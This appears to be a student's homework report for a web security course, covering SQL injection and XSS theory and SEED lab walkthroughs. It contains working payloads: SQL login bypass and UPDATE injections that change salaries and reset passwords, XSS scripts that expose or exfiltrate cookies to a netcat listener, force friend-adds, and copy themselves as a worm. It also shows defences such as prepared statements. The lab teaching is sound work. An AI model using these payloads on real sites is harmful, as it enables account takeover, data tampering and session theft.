20199115 2019-2020-2 《网络攻防实践》第十一周作业
Web应用程序安全攻防
1.实践内容
Web应用程序体系结构及其安全威胁
Web应用体系结构
Web应用程序是一种使用浏览器再互联网或企业内部网上精心那个访问操作的应用软件形态(B/S(浏览器/服务)),通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序及进行渲染于执行。
-
取决于:浏览器的普遍应用,浏览器作为为“瘦”客户端的便捷性
-
更新那个和维护Web 应用无需向大量客户端分发、安装与更新任何软件
-
继承了Web天生的多平台兼容性
-
大大提升了部署和应用的便捷性,有效促进了Web应用
-
浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
-
Web服务器:通常被简单的描述为HTTP守护程序,接受Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将他传送给给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示
-
数据库:Web应用存储数据
-
Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
-
表示层:接受Web客户端的输入并显示结果。
-
业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
-
数据层:以数据库或本地文件的形式,提供非易失的信息存储。
-
-
传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
Web应用安全威胁
-
针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
-
针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
-
系统层安全威胁:Web站点的宿主操作系统。
-
Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
-
Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
Web应用安全攻防技术
Web应用的信收集
-
定义:主要手机内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
-
手工审查Web应用程序结构与源代码
-
查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
-
查看Web服务器的存储目录结构。
-
查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
-
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
-
查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
-
-
自动下载与镜像Web站点页面:自动化上面的手工审查过程。
-
Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
-
Web应用程序安全评估与漏洞审查
-
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
-
安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
-
攻击Web服务器软件
-
流行的Web服务器软件主要分为两类:
-
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
-
LAMP: Linux/Apache/MySQL/PHP
-
-
Web服务器平台中的安全漏洞
-
数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行权力,并以相当高的权限执行任意命令。
-
服务器功能扩展模块漏洞:Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他的功能,动态代码执行(微软ASP)、站点检索(IIS的索引服务)、Web分布式写作与版本管理协议WebDAV、SSL假加密协议、Apache扩展组件模块,这些都存在漏洞。
-
样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在安全漏洞,攻击者可以i利用这些默认包含的样本文件来对Web服务器实施攻击。
-
源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
-
资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称 的过程。
-
攻击Web应用程序
-
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
-
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
-
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
-
命令执行攻击:在web站点执行远程命令的攻击手段。
-
信息暴露:获取web站点具体系统信息的攻击手段。
-
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
攻击Web数据内容
-
安全敏感数据泄露
-
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
-
利用web服务器的上传目录临时中转文件。
-
在web站点公开的文档资料中包含个人隐私、企业秘密、国家秘密。
-
-
网站篡改:网站页面内容进行替换。
-
不良信息内容上传:能上传不良信息。
Web应用安全防范措施
-
Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
-
Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
-
Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
-
Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。
SQL注入
SQL注入攻击原理
- SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入攻击步骤和过程
-
SQL注入攻击步骤
-
SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
-
收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
-
猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
-
查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
-
入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
-
-
利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
SQL注入攻击工具
-
自动化SQL注入漏洞发现
-
Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
-
mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
-
-
自动化SQL注入测试
-
SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
-
SPI Toolkit工具包中的“SQL Injector”工具。
-
SQL注入攻击实例
-
用户登录SQL语句形如:SELECT * FROM user WHERE name = ' " + userName + " ' and password= ' "+ password +" '。
-
常见的利用SQL注入攻破用户登录,关键在于在参数name或是password中插入特殊符号,以篡改程序SQL的条件判断。
-
譬如我们这样输入:
-
用户名:'1' OR '1'='1 密码:'1'
-
那么程序接收到参数后,SQL语句就变成了:SELECT * FROM user WHERE name = '1' OR '1'='1' and password= '1'。恒为真,即可骗过程序,在没有账号密码的情况下成功登录。
SQL注入攻击防范措施
-
分级管理:对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
-
参数传值:程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。
-
基础过滤与二次过滤:SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。
-
使用安全参数:在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。
-
漏洞扫描:为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。
-
多层验证:为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。
-
数据库信息加密
XSS跨站脚本攻击
- XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
XSS攻击技术原理
- Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
XSS攻击类型
-
持久型XSS攻击(存储型XSS):主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
-
非持久型XSS攻击(XSS反射型攻击):反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。为什么叫反射型XSS呢?那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的,而为什么又叫非持久性XSS呢?那是因为这种攻击方式只有一次性。比如:攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接的时候,注入脚本被传输到目标服务器上,然后服务器将注入脚本 "反射"到受害者的浏览器上,从而浏览器就执行了该脚本。
XSS攻击实例
XSS攻击防范措施
-
服务器端防范措施:安全过滤
-
输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
-
输出净化:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
-
消除危险的输入点:
-
-
客户端防范措施:提高浏览器访问非受信网站时的安全等级,关闭Cookie功能,或设置Cookie只读。浏览器设置中关闭JavaScript。
2.实践过程
SEED SQL注入实验
-
实验内容
-
熟悉SQL语句
- 首先使用指令
mysql -u root -pseedubuntu
登陆MySql数据库,-u指定用户名,-p指定密码。
- 使用
use Users
;使用用户数据库show tables
;打印所选数据库的所有表。
- 下面我们使用指令select * from credential where ID='1';来打印ID为1的员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。
- 首先使用指令
-
对select语句的SQL注入攻击
- 首先我们进入Web界面,查看数据传送过程,然后我们可以看到前端提交表单数据到unsafe_home.php进行了校验,
- vim查看对应的原代码,
vim /var/www/SQLInjection/unsafe_home.php
- 从where语句中我们可以看到,该程序检查提供的用户名和密码的hash值是否与保存的匹配;如果匹配,则表明用户已成功通过身份验证,并获得了相应的信息。同时我们可以看到管理员的账户名是admin,那么当我们输入的username字段为
Admin'#
,即可成功攻击。'结束语句,#注释后面的语句,使得后面语句无法执行,只进行了用户名的校验。
- 接下来的任务是利用命令行完成管理员的登录,我们要使用的事cURL,使用命令
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
就可以成功登录系统。通过返回的HTML代码,我们可以看到信息和我们上面看到的信息相同,证明我们的攻击时成功的。
-
对UPDATE语句的SQL注入攻击
- 我们可以看到在edit中它get了这个unsafe_edit_backend.php,那我们就看看它:
vim /var/www/SQLInjection/unsafe_edit_backend.php
- 首先用类似前面管理员登录的方式登录Alice的账号,进去之后可以看到Alice的相关信息
- 然后进行edit profile修改信息。在NickName那里输入语句
', salary='50000' where EID='10000';#
,这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,后面注释掉了,直接就修改了工资。这个时候回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。
-那么,利用同样原理,我们可以修改任意用户的Salary,如在Nickname输入
', salary='工资' where name='人名';#
- 修改其他用户的密码。我们从上面代码可以看出password是使用了sha-1加密,我们可以将我们想要的密码进行sha-1之后,更改,然后登陆时即可.使用echo -n '123456'|sha1sum得到123456经过sha-1之后的值7c4a8d09ca3762af61e59520943dc26494f8941b.
- 之后输入在Alice登陆,继续在edit profile那里修改用户名,还是在Nickname输入
', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Boby';#
,登录Boby,我们可以看到成功登陆
- 我们可以看到在edit中它get了这个unsafe_edit_backend.php,那我们就看看它:
-
SQL对抗,修复上述SQL注入攻击漏洞
- SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在,同理,所以现在已经能够防止对SELECT语句的SQL注入攻击。为了验证正确性,你可以使用Boby的账户和密码进行登录,发现确实可以登录。那么下面我们需要继续对UPDATE语句进行预处理。
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd); $sql->execute(); $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $sql->fetch(); $sql->close();
- SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在,同理,所以现在已经能够防止对SELECT语句的SQL注入攻击。为了验证正确性,你可以使用Boby的账户和密码进行登录,发现确实可以登录。那么下面我们需要继续对UPDATE语句进行预处理。
SEED XSS 攻击实验
-
实验内容
-
任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
-
-
发布恶意消息,显示警报窗口
- 进入
http://www.xsslabelgg.com/
,登录Alice的账户(账户alice和密码aliceseed),进入Edit profile,在在Brief description域中添加JavaScript代码<script>alert('XSS');</script>
并保存,另一用户Boby登录可以查看Alice的profile,会看到警告窗口。
- 进入
-
弹窗显示cookie信息
- 这一任务和上面类似,插入的js代码
<script> alert(document.cookie);</script>
,然后用Boby查看Alice的profile,得到的弹窗如下。正确的显示了自己的cookie信息。
- 这一任务和上面类似,插入的js代码
-
窃取受害者的cookies
- 插入恶意的标签,利用浏览器会访问src的url这个特性,我们将cookies发送攻击者的5555端口,利用nc对5555端口进行监听,使用
nc -l 5555 -v
,-l指定端口,-v显示详细信息。然后,我们使用Boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。
- 插入恶意的标签,利用浏览器会访问src的url这个特性,我们将cookies发送攻击者的5555端口,利用nc对5555端口进行监听,使用
-
成为受害者的朋友
- 首先查看下
HTTP Header Live
,以看到elgg_ts和 elgg_token,这是Elgg本身自带的一套严格的表单验证方法,通过才可以进行加朋友。我们可以看到朋友的id和cookie,通过这些东西我们构造了javascript脚本。接下来用boby访问alice的主页,boby就会自动加alice为好友
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
- 首先查看下
-
修改受害者的信息。可以看到用户在修改自己的profile时发送的http请求的具体格式。通过这个方式构造和上面相近的js程序。将代码同样放在Alice的about me中,然后用boby访问Alice的profile,即可成功修改boby的profile
``
- 编写XSS蠕虫,使用DOM API的方法,它会将Web页面和脚本或程序语言连接起来。编写代码,目的是这段代码能够复制到其他用户那里,那么我们的蠕虫目标就是完成了,通过boby访问Alice的profile发现这段代码已经被成功的复制,说明我们的目标达到,利用DOM API成功的进行了蠕虫的复制。
<script id="worm" type ="text/javascript"> var headerTag = "<script id="worm" type="text/javascript">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script>
-
对抗XSS攻击。Elgg有一个内建的反措施来防御XSS攻击,管理员账户登录后,Account->administration->plugins,并点击过滤的安全和垃圾邮件选项在页面的顶部。可以在下面找到HTMLawed插件(对用户的输入输出进行校验并且去除特定标签)。单击Activate以启用的对策。这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
3.学习中遇到的问题及解决
- 问题:web的js、php、JavaScript不熟悉,部分代码无法自己写出
- 问题解决方案:自己学习(JavaScript教程)并参照大佬们的博客,慢慢读懂其中意思
4.实践总结
还是加强自己基础知识的学习吧!全能很重要!!!